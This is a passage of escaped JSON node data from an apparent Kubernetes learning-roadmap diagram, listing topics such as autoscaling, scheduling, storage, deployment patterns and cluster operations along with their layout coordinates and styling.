924.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Traces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 97,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -111.1381872719935,\n        \"y\": 924.400748222349\n      }\n    },\n    {\n      \"id\": \"pDjNsK5vI9FmKZbQm0lDP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -299.1381872719935,\n        \"y\": 977.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Resource Health\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FANswgUhUb5Iuah2fni3L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -299.1381872719935,\n        \"y\": 977.400748222349\n      }\n    },\n    {\n      \"id\": \"FANswgUhUb5Iuah2fni3L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -299.1381872719935,\n        \"y\": 1030.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Observability Engines\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ldYTEPt_hI4PXxr3tgJi5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 210,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -299.1381872719935,\n        \"y\": 1030.400748222349\n      }\n    },\n    {\n      \"id\": \"03mGA5AyL7mpF6y3EMW7A\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 81.8618127280065,\n        \"y\": 1132.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Autoscaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.8618127280065,\n        \"y\": 1132.400748222349\n      }\n    },\n    {\n      \"id\": \"044IUUCgZP4oQ9UxUG2iy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 52.3618127280065,\n        \"y\": 1222.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Horizontal Pod Autoscaler (HPA)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RC5MoYtG2rom-d4FW5qD2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 52.3618127280065,\n        \"y\": 1222.900748222349\n      }\n    },\n    {\n      \"id\": \"c1KVczGRjh9bhMpbPP6sA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 52.3618127280065,\n        \"y\": 1275.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Vertical Pod Autoscaler (VPA)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RC5MoYtG2rom-d4FW5qD2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 52.3618127280065,\n        \"y\": 1275.900748222349\n      }\n    },\n    {\n      \"id\": \"RC5MoYtG2rom-d4FW5qD2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 52.3618127280065,\n        \"y\": 1328.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cluster Autoscaling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 52.3618127280065,\n        \"y\": 1328.900748222349\n      }\n    },\n    {\n      \"id\": \"xZDXM_8qb4VL15tNGG0ws\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -224.6381872719935,\n        \"y\": 1132.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scheduling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -224.6381872719935,\n        \"y\": 1132.400748222349\n      }\n    },\n    {\n      \"id\": \"70lTSIVh0AD6M8fMMuWzY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1224.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TRKzlDW2PQN9bWTyz3NWL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1224.400748222349\n      }\n    },\n    {\n      \"id\": \"zXUsHAI1HFhcY2BFAcypv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1277.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Taints and Tolerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TRKzlDW2PQN9bWTyz3NWL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1277.400748222349\n      }\n    },\n    {\n      \"id\": \"CL0hKTcml40InmyVUXpY2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1330.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Topology Spread Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TRKzlDW2PQN9bWTyz3NWL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 231\n      },\n      \"measured\": {\n        \"width\": 275,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1330.400748222349\n      }\n    },\n    {\n      \"id\": \"_Gva1eGcYqpmZNPyV03lt\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1383.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pod Priorities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TRKzlDW2PQN9bWTyz3NWL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"measured\": {\n        \"width\": 150,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -284.1381872719935,\n        \"y\": 1383.400748222349\n      }\n    },\n    {\n      \"id\": \"TRKzlDW2PQN9bWTyz3NWL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -128.1381872719935,\n        \"y\": 1383.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Evictions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 231,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 231\n      },\n      \"measured\": {\n        \"width\": 120,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -128.1381872719935,\n        \"y\": 1383.400748222349\n      }\n    },\n    {\n      \"id\": \"URnYf9jMprFz-o26fbU2P\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -627.1381872719935,\n        \"y\": 1132.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Storage and Volumes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -627.1381872719935,\n        \"y\": 1132.400748222349\n      }\n    },\n    {\n      \"id\": \"55RV9psPCmcg8G_P_zQo9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1217.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CSI Drivers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMSXdwDO36CLtp2TBC7aB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 132,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1217.900748222349\n      }\n    },\n    {\n      \"id\": \"LJUJ1NIUsajb1AUdvJjqW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1270.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Stateful Applications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMSXdwDO36CLtp2TBC7aB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1270.900748222349\n      }\n    },\n    {\n      \"id\": \"0l0xpsabglvs_t6oAP-XG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -627.1381872719935,\n        \"y\": 1383.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deployment Patterns\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -627.1381872719935,\n        \"y\": 1383.400748222349\n      }\n    },\n    {\n      \"id\": \"Pymc9H-lRHVPy7M9eSaPD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1472.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"CI / CD Integration\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMSXdwDO36CLtp2TBC7aB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1472.900748222349\n      }\n    },\n    {\n      \"id\": \"dATdEyNWlpDNKjedCXLyb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1525.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"GitOps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMSXdwDO36CLtp2TBC7aB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1525.900748222349\n      }\n    },\n    {\n      \"id\": \"FAEFOhLdp7xrmctHFxiOM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1578.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Helm Charts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"yMSXdwDO36CLtp2TBC7aB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1578.900748222349\n      }\n    },\n    {\n      \"id\": \"88IGeC3dAopHLGtLozxdY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1631.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Canary Deployments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9-oaTlzKmcxTfaRycz1w3\"\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1631.900748222349\n      }\n    },\n    {\n      \"id\": \"yMSXdwDO36CLtp2TBC7aB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1737.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Rolling Updates / Rollbacks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1737.900748222349\n      }\n    },\n    {\n      \"id\": \"vdbcHzRz-_WnvhOemTw3R\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -425.1381872719935,\n        \"y\": 1799.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 202,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -425.1381872719935,\n        \"y\": 1799.400748222349\n      }\n    },\n    {\n      \"id\": \"t8SJbGVXsUDECxePLDk_w\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -288.9715206053269,\n        \"y\": 1784.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -288.9715206053269,\n        \"y\": 1784.900748222349\n      }\n    },\n    {\n      \"id\": \"L9rVPEEXFwisQOwT_LQ4v\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1471.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Creating Custom Controllers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UeJcKv3jhenjNzHM-0R86\"\n      },\n      \"zIndex\": 999,\n      \"width\": 315,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 315\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1471.400748222349\n      }\n    },\n    {\n      \"id\": \"1-Nb8rCMJEZrYm20sEcRJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1524.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Custom Schedulers and Extenders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UeJcKv3jhenjNzHM-0R86\"\n      },\n      \"zIndex\": 999,\n      \"width\": 315,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 315\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1524.400748222349\n      }\n    },\n    {\n      \"id\": \"9P7l-RBOkUxs3Z_UpKQO-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1577.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Custom Resource Definitions (CRDs)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UeJcKv3jhenjNzHM-0R86\"\n      },\n      \"zIndex\": 999,\n      \"width\": 315,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 315\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1577.400748222349\n      }\n    },\n    {\n      \"id\": \"UeJcKv3jhenjNzHM-0R86\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1631.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kubernetes Extensions and APIs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 315,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 315\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1631.400748222349\n      }\n    },\n    {\n      \"id\": \"ZrVhYTw63aVVIFAEJDG5r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.804853938660187,\n        \"y\": 1470.0674148890157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Should you manage your own Cluster?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"auZgEQ6FC3nUjuyx0zANh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 336,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 336\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -15.804853938660187,\n        \"y\": 1470.0674148890157\n      }\n    },\n    {\n      \"id\": \"M-iTb_7EWZIJ3JpdViICx\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.804853938660187,\n        \"y\": 1523.0674148890157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Installing the Control Plane\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"auZgEQ6FC3nUjuyx0zANh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 336,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 336\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -15.804853938660187,\n        \"y\": 1523.0674148890157\n      }\n    },\n    {\n      \"id\": \"2cQKTxln3dIk5IjX2UZdM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -15.804853938660187,\n        \"y\": 1576.0674148890157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Adding and Managing Worker Nodes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"auZgEQ6FC3nUjuyx0zANh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 336,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 336\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -15.804853938660187,\n        \"y\": 1576.0674148890157\n      }\n    },\n    {\n      \"id\": \"auZgEQ6FC3nUjuyx0zANh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -17.138187271993502,\n        \"y\": 1629.0674148890157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Multi-Cluster Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 336,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 336\n      },\n      \"measured\": {\n        \"width\": 336,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -17.138187271993502,\n        \"y\": 1629.0674148890157\n      }\n    },\n    {\n      \"id\": \"-M6ZVzI35DVZwl9hGpYFQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -13.138187271993502,\n        \"y\": 1700.5674148890157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cluster Operations\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 38\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"width\": 161,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": -13.138187271993502,\n        \"y\": 1700.5674148890157\n      }\n    },\n    {\n      \"id\": \"A3PLMcJN35yJJUuZJbRMx\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -364.4715206053269,\n        \"y\": 1684.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.25\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 300,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 680,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 